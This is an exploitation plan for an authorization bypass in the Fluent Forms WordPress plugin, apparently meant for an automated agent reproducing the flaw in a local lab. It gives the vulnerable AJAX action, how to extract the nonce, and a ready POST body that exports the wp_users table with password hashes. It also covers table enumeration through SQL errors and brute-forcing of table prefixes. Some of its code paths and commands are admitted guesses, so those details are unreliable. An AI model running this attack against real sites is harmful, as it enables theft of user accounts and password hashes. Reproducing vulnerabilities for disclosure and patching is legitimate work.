Exploitation Research Plan: CVE-2026-5395 (Fluent Forms Authorization Bypass)

1. Vulnerability Summary

The Fluent Forms plugin (up to version 6.2.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its entry export functionality. The AJAX action fluentform-form-entries-export invokes the exportEntries method in the Transfer module. This function fails to validate a user-supplied table parameter.

While the intended use is to export submissions from the wp_fluentform_submissions table for a specific form, an attacker with "Entries Viewer" permissions (which can be granted to low-privileged roles like Subscribers via the plugin's "Managers" settings) can manipulate the table parameter to export data from arbitrary database tables (e.g., wp_users, wp_options) or enumerate table names via database error messages.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: fluentform-form-entries-export
• Authentication: Authenticated (Subscriber+ with "Entries Viewer" or "Manager" permissions).
• Vulnerable Parameter: table
• Payload: The name of a sensitive database table (e.g., wp_users).

3. Code Flow

1. Entry Point: In app/Hooks/Ajax.php, the action is registered:

   $app->addAction('wp_ajax_fluentform-form-entries-export', function () use ($app) {
       Acl::verify('fluentform_entries_viewer'); // Check for viewer capability
       (new \FluentForm\App\Modules\Transfer\Transfer())->exportEntries();
   });
   

2. Authorization: Acl::verify('fluentform_entries_viewer') checks if the current user has the permission to view entries. This can be assigned to any role in the Fluent Forms global settings.
3. Sink: The exportEntries() function (in app/Modules/Transfer/Transfer.php, inferred from the hook) reads the table parameter from the request. It likely uses this parameter to construct a SQL query or initialize a Database Model without verifying that the table name is restricted to submission-related tables.
4. Execution: The plugin executes a SELECT * (or similar) on the provided table and generates a downloadable file (CSV/JSON).

4. Nonce Acquisition Strategy

The Acl::verify call in Fluent Forms typically validates the _fluent_form_nonce. This nonce is localized into the WordPress admin dashboard.

Strategy:

1. Setup: Create a subscriber user and ensure they have the fluentform_entries_viewer permission.
2. Page Navigation: Navigate to the Fluent Forms "Entries" page.
3. Nonce Extraction:
   • The nonce is usually stored in the fluent_forms_global_var JavaScript object.
   • Use browser_eval to extract it: window.fluent_forms_global_var?.nonce.

5. Exploitation Strategy

Step 1: Elevate Subscriber Permissions

Fluent Forms allows custom managers. We will use WP-CLI to configure the plugin to allow Subscribers to view entries, simulating a common administrative delegation.

# Set the global settings to allow 'subscriber' role to have 'fluentform_entries_viewer' capability
# This is a conceptual CLI command; the actual option key is _fluentform_global_form_settings
wp option patch update _fluentform_global_form_settings managers '{"subscriber":{"capabilities":["fluentform_entries_viewer"]}}'

Step 2: Obtain Nonce as Subscriber

Log in as the Subscriber and navigate to the admin dashboard.

1. browser_navigate("/wp-admin/admin.php?page=fluent_forms")
2. NONCE = browser_eval("window.fluent_forms_global_var.nonce")

Step 3: Trigger the Vulnerable Export

Send a POST request to admin-ajax.php targeting the wp_users table.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=fluentform-form-entries-export&
  table=wp_users&
  form_id=1&
  _fluent_form_nonce=[NONCE]
  

Step 4: Enumeration (Alternative)

To enumerate tables, provide a non-existent table name (e.g., table=non_existent_xyz) and check if the response body contains a SQL error message disclose by the database.

6. Test Data Setup

1. Create a Form: wp fluentform create --title="Test Form"
2. Create a Submission: Submit at least one entry to the form so the "Entries" menu is accessible.
3. Create User: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
4. Configure Permissions: Ensure the Subscriber role is added to the Fluent Forms "Managers" list with "Entries Viewer" permissions.

7. Expected Results

• Success: The response will be a file download (likely CSV format) containing the contents of the wp_users table, including user_login, user_pass (hashes), and user_email.
• Enumeration: If an invalid table is provided, the plugin may return a JSON error or raw HTML containing a database error string like Table 'wordpress.non_existent_xyz' doesn't exist.

8. Verification Steps

1. File Content: Verify the downloaded content contains the string admin and a WordPress password hash (starting with $P$B).
2. CLI Check: Verify the current user's meta to see if Fluent Forms added specific manager metadata:
   wp user meta get [ID] _fluentform_manager_capabilities

9. Alternative Approaches

• Table Brute-forcing: If error disclosure is enabled, iterate through common table prefixes (e.g., wp_, wp_2_, staging_) and table names.
• Form ID Bypass: If the attacker is authorized for Form ID 1 but not Form ID 2, they can try to set table=wp_fluentform_submissions and provide a form_id=2 filter to see if the table-level access overrides the form-level ownership check.
• Information Leak via JSON: Check if the response is JSON instead of CSV by adding format=json to the POST body.